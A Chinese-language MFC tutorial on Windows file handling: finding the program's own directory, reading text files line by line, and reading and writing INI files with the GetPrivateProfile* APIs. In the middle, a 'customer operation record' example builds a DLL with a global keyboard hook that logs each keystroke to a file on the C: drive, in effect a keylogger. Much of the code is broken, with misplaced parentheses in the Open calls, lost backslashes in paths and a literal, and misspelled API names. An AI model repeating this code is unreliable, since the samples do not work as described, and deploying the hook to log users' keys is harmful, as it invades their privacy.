操作文件的过程中,经常需要将文本文件放在程序自身的目录中,但是如果仅仅在程序中使用不指定任何路径信息的相对路径,如:
myFile.Open("MyFile.txt",CFile::modeCreate|CFile::typeText|CFile::modeReadWrite);
那么就有可能出现不能正确定位的情况,准确定位文件位置的方法是获得可执行程序自身的绝对路径,如:
TCHAR FilePath[MAX_PATH];
GetModuleFileName(NULL,FilePath,MAX_PATH);
(_tcstchr(FilePath,'\'))[1]=0;
lstrcat(FilePath,_T("MyFile.txt"));
CStdioFile myFile;
CFileException fileException;
if(myFile.Open(FilePath,CFile::modeCreate|CFile::typeText|CFile::modeReadWrite),&fileException)
{
//文件操作代码
}
else
{
TRACE("Can't open file%s,error=%un",FilePath,fileException.m_cause);
}
myFile.Close();
读文本文件指定的一行,并得到文本文件的总行数
要统计文本文件的总行数,可以从头逐行读,直到文件尾,程序:
CStdioFile myFile;
CFileException fileException;
if(myFile.Open("MyFile.txt",CFile::modeCreate|CFile::modeNoTruncate|CFile::typeText|CFile::modeReadWrite),&fileException)
{
CString strContent;
int order=1;
while(myFile.ReadString(strContent))
{
if(2==order)
{
AfxMessageBox(strContent);
}
order=order+1;
}
}
else
{
TRACE("Can't open file");
}
myFile.Close();
客户操作记录实例
本软件分为两个部分,一部分是DLL模块,里面利用Hook技术完成键盘监控和写入文件的功能;另一部分是界面部分,调用DLL启动和停止客户操作记录功能。
第1步:创建MFC DLL项目
第2步:创建TestHook.h文件
第3步:加入全局共享数据变量
第4步:保存DLL实例句柄
第5步:类CKeyboradHook的成员函数
第6步:创建钩子可执行程序
第1步:创建MFC DLL项目
创建一个名为HookTest的project,project的类型为选择MFC AppWizard(DLL),DLL类型为MFC Extension DLL(usingshared MFC DLL)
注意:选择File->New菜单项,在弹出对话框的左边的列表框中选择MFC AppWizard(DLL).
在project name文本框中输入项目名称,HookTest;location中输入项目的存盘路径;选中Create new workspace;在platForms列表中选择Win32选项。
单击OK按钮继续下一步,在弹出的对话框中设置DLL类型为MFCExtension DLL(using shared MFC DLL).
在IDE中,选择FileView选项卡,在其中就会发现其中有HookTest.cpp文件,却没有HookTest.h文件,这是因为visual C++6.0中没有现成的钩子类,所以要自己动手创建TestHook.h文件,在其中建立钩子类。
第2步:创建TestHook.h文件
选择File菜单,再选择New菜单项,将弹出New对话框。选择files选项卡,并且选择其中的C/C++ Header File.
选中add to project,并且在对应的下拉列表中选择项目名称HookTest;在location文本框中输入项目的存盘路径,或单击右边的按钮选择相应的路径;在file对应的文本框中输入文件名HookTest.h;单击OK按钮,在IDE中自动打开Hooktest.h文件供编辑代码用;
TestHook.h文件:
#if _MSC_VER>1000
#pragma once
#endif //_MSC_VER>1000
class AFX_EXT_CLASS CHookTest:public CObject
{
public:
CHookTest();
~CHookTest();
BOOL StartHook();//StartHook()函数实现安装钩子
BOOL StopHook();//StopHook()函数实现卸载钩子
};
第3步:加入全局共享数据变量
HookTest.cpp文件中添加:
//存储各个键赌赢的字符
CString cskey[TOTAL_KEYS]=
{
"BACKSPACE",
"TAB",
……
"F12",
};
//存储各个键对应的键值
int nkey[TOTAL_KEYS]=
{
0X08, //"BACKSPACE",
0X09, //"TAB",
…….
0x7b,//"F12",
};
#pragma data_seg("mydata")
//安装的键盘钩子子句柄
HHOOK glhTestHook=NULL;
//DLL实例句柄
HINSTANCE glhkInstance=NULL;
#pragma data_seg()
第4步:保存DLL实例句柄
DllMain函数中添加如下代码:
if (dwReason == DLL_PROCESS_ATTACH)
{
TRACE0("HOOKTEST.DLL Initializing!n");
//扩展DLL仅初始化一次
if (!AfxInitExtensionModule(HookTestDLL, hInstance))
return 0;
//DLL加入动态MFC类库中
new CDynLinkLibrary(HookTestDLL);
//保存DLL实例句柄
glhkInstance=hInstance;
}
else if (dwReason == DLL_PROCESS_DETACH)
{
TRACE0("HOOKTEST.DLL Terminating!n");
//终止这个链接库前调用它
AfxTermExtensionModule(HookTestDLL);
}
return 1; // ok
第5步:类CKeyboradHook的成员函数
//KeyboradProc函数
LRESULT WINAPI KeyboradProc(int nCode,WPARAM wParam,LPARAM lParam)
{
for(int i=0;i<TOTAL_KEYS;i++)
{
if(nkey[i]==(int)wParam)
{
int nKeyStatus=lParam &0x80000000;
//根据用户按键播放对应的声音文件
switch(nKeyStatus)
case 0://WM_KEYUP
//case 0x80000000://WM_KEYUP
{
char* pszFileName="C:\myfile.txt";
CStdioFile myFile;
CFileException fileException;
if(myFile.Open(pszFileName,CFile::typeText|CFile::modeCreate|CFile::modeNoTruncate|CFile::modeReadWrite),&fileException)
{
myFile.SeekToEnd();
//将文件指针移动到文件末尾准备进行追加文本的操作
//此处可以编写追加文本的操作
myFile.WriteString(cskey[i]);
}
else
{
TRACE("Can't open file %s,error=%un",pszFileName,fileException.m_cause);
}
}
}
}
//调用CallNextHookEx函数把钩子信息传递给钩子链的下一个钩子函数
return CallNextHookEx(glhTestHook,nCode,wParam,lParam);
}
第6步:创建钩子可执行程序
/
//****************************
//卸载钩子
BOOL CHookTest::StopHook()
{
BOOL bResult=FALSE;
if(glhTestHook)
{
bResult=UnhookWindowsHookEx(glhTestHook);
if(bResult)
{
glhTestHook=NULL;
}
}
return bResult;
}
//****************************
Windows操作系统将win.ini作为记录当前系统状态,并根据其记录内容对系统进行配置的一种便捷的方法,且众多的应用软件也广泛的使用该类型的配置文件来对软件进行记录和配置。
配置设置文件(INI)文件是windows操作系统中的一种特殊的ASCII文件,以ini为文件扩展名。该文件也被称为初始化文件initialization file和概要文件profile,通常应用程序可以拥有自己的配置设置文件来存储状态信息。一般来说私有的配置设置文件比较小,这样可以减少程序在初始化时读取配置文件时的信息量,从而提高程序的启动速度、提高应用程序和系统的性能。
如果带存取的信息涉及到windows系统环境或是其他应用程序时,就必须在windows系统的配置文件win.ini中记录并在访问的同时发送WM_WININICHANGE消息给所有的顶层窗口,通知其他的程序系统配置文件已做了更改。但由于win.ini中不仅记录了系统的有关信息,也存储着许多其他应用软件的配置数据,所以访问的数据量要远比私有配置文件大的多。
掌握内容 :
了解INI文件的结构;能够正确灵活的应用INI文件存取信息;避免INI文件读写的常见误区。
配置文件里的信息之所以能为系统和终生的软件所读取并识别,是由于其内部对数据的存取采用了预先约定的“项-值对(entry-valuepairs)”存储结构,并对待存取的数据分门别类地进行调理清晰的存储。INI文件的结构如下:
;注释
[小节名]
关键字=值
…
INI文件允许有多个小节,每个小节又允许有多个关键字,“=”后面是该关键字的值。值的类型有3种:字符串、整型数值和布尔值。其中字符串存储在INI文件中时没有引号,布尔值用1表示,布尔假值用0表示。
注释以分号“;”开头。
Windows操作系统专门为此提供了6个API函数来对配置设置文件进行读、写:
GetPrivateProfileInt: 从私有初始化文件(即自定义的INI文件)获取整型数值。
GetPrivateProfileString: 从私有初始化文件获取字符串型值。
GetProfileInt:从win.ini获取整数值。
WritPrivateProfileString:写字符串到私有初始化文件。
WriteProfileString:写字符串到win.ini。
需要指出的是,当向配置文件存储信息时,不论是数据还是字符串都要先转换成字符串,然后再进行存储。
这里只介绍私有初始化文件,所以只涉及到3个函数---GetPrivateProfileString、GetPrivateProfileInt和WritePrivateProfileString。
INI文件读写过程
INI文件的读和写操作是分开的,首先介绍写文件的方法。
1. INI文件的写过程
将信息写入INI文件中所用的函数为:
BOOL WritePrivateProfileString(LPCTSTR lpAppName,LPCTSTR lpKeyName,LPCTSTRlpString,LPCTSTR lpString,LPCTSTR lpFileName);
其中各参数的意义:
lpAppName:是INI文件中的一个字段名。
lpKeyName:是lpAppName下的一个键名,通俗讲就是变量名。
lpString:是键值,也就是变量的值,不过必须为LPCTSTR型或CString型的。
lpFileName:是完整的INI文件名。
实例1:将信息写入INI文件
将一名学生的姓名和年龄写入C:student.ini文件中。
步骤:创建基于对话框的MFC程序,删除所有自动生成的控件,然后添加按钮控件,并在相应的按钮事件处添加如下代码:
CString strName,strTemp;
int nAge;
strName="张三";
nAge=12;
::WritePrivateProfileString("Info","Name",strName,"C:\student.ini");
strTemp.Format("%d",nAge);
::WritePrivateProfileString("Info","Age",strTemp,"C:\student.ini");
运行结果:C盘下创建了student.ini文件,文件内容如下:
[Info]
Name=张三
Age=12
2. INI文件的读过程
将信息从 INI文件中读出到程序中所用的函数为 :
DWORD GetPrivateProfileString(LPCTSTR lpAppName,LPCTSTR lpKeyName,LPCTSTRlpDefault,LPTSTR lpReturnedString,DWORD nSize,LPCTSTR lpFileName);
其中,各参数的意义如下:
前两个参数与WritePrivateProfileString中的意义一样。
lpDefault:如果INI文件中没有前两个参数指定的字段名或键名,则将此值赋给变量。
lpReturnedString:接收INI文件中没有前两个参数指定的字段名或键名,则将此值赋给变量。
lpReturnedString:接受INI文件中的值的CString对象,即目的缓存器。
nSize:目的缓存器的大小。
lpFileName:是完整的INI文件名。
实例2:从INI文件读出信息
程序将C:student.ini文件中的信息读出到程序中。
步骤:如前,在相应的button按钮响应事件函数处,添加如下代码:
CString strStudName;
int nStudAge;
GetPrivateProfileString("Info","Name","默认姓名",strStudName.GetBuffer(MAX_PATH),MAX_PATH,"C:\student.ini");
//读入整型值
//UINT GetPrivateProfileInt(LPCTSTR lpAppName,LPCTSTR lpKeyName,INTnDefault,LPCTSTR lpFileName);
nStudAge=GetPrivateProfileInt("Info","Age",10,"C:\student.ini");
运行结果:可以通过设置断点,来查看strStudName和nStudAge的内容。
1.路径指示错误
INI文件的路径必须完整,文件名前面的各级目录必须存在,否则写入不成功,该函数返回FALSE值。
如下程序:
CString strName,strTemp;
int nAge;
strName=”张三”;
nAge=12;
::WritePrivateProfileString(“Info”,”Name”,strName,”c:\Infostudent.ini”);
如果C:Info目录不存在,那么写INI文件的操作就会失败。
解决办法是进行文件操作前通过以下代码检查目录是否存在:
WIN32_FIND_DATA fd;
HANDLE hFind=FindFirstFile(“C:\Info”,&fd);
If((hFind!=INVALID_HANDLE_VALUE)&&(fd.dwFileAttributes&FILE_ATTRIBUTE_DIRECTORY))
{
AfxMessageBox(“存在”);
}
else
{
AfxMessageBox(“不存在”);
}
FindClose(hFind);
2.认识上的两个误区
误区一:写文件路径的时候写成诸如C:Info的形式,实际上在visual C++中,文件名的路径中必须为\,因为在visual C++中\才表示一个,所以正确的格式应改为C:\Info.
误区二:因为经常需要把INI文件放在程序所在目录,所以在写INI文件的函数中直接将lpFileName参数设置为文件名,如“student.ini”。这是不正确的做法,打开INI文件的时候,如果文件名没有指明路径的话,那么这个INI文件会存储在windows目录中,而不是在应用程序的当前目录中。
解决办法是lpFileName参数设置为“.\student.ini”。
假设现在有一个程序,要将最近使用的几个文件名保存下来,写入的代码如下:
CString strTemp,strTempA;
int I;
int nCount=6;
for(i=0;i<nCount;i++)
{
strTemp.Format(“%d”,i);
strTemp.Format(“%s%d%s”,”File”,i,”.txt”);//文件名
::WritePrivateProfileStirng(“UseFileName”,”FileName”+strTemp,strTempA,”c:\usefile.ini”);
}
strTemp.Format(“%d”,nCount);
::WritePrivateProfileString(“FileCount”,”Count”,strTemp,”C:\usefile.ini”);
//将文件总数写入,以便读出。
以上代码运行后,C盘下面userfile.ini文件内容。
实例3:将信息写入INI文件
步骤:创建基于对话框的MFC程序,删除所有自动生成的控件,然后添加按钮控件,并在相应的按钮事件处添加如下代码:
CString strTemp,strTempA;
int i;
int nCount=6;
for(i=0;i<nCount;i++)
{
strTemp.Format("%d",i);
strTempA.Format("%s%d%s","File",i,".txt");//文件名
::WritePrivateProfileString("UseFileName","FileName"+strTemp,strTempA,"c:\usefile.ini");
}
strTemp.Format("%d",nCount);
::WritePrivateProfileString("FileCount","Count",strTemp,"C:\usefile.ini");
运行结果:C盘下创建了usefile.ini文件,文件内容如下:
[UseFileName]
FileName0=File0.txt
FileName1=File1.txt
FileName2=File2.txt
FileName3=File3.txt
FileName4=File4.txt
FileName5=File5.txt
[FileCount]
Count=6
实例4:从INI文件读出信息
程序将C:student.ini文件中的信息读出到程序中。
步骤:如前,在相应的button按钮响应事件函数处,添加如下代码:
CString strTemp,strTempA;
int i;
int nCount;
nCount=::GetPrivateProfileInt("FileCount","Count",0,"c:\usefile.ini");
for(i=0;i<nCount;i++)
{
strTemp.Format("%d",i);
strTemp="FileName"+strTemp;
::GetPrivateProfileString("UseFileName",strTemp,"default.txt",strTempA.GetBuffer(MAX_PATH),MAX_PATH,"c:\usefile.ini");
//strTempA中就存储了文件名
}
运行结果:可以通过设置断点,来查看strTemp和strTempA的内容。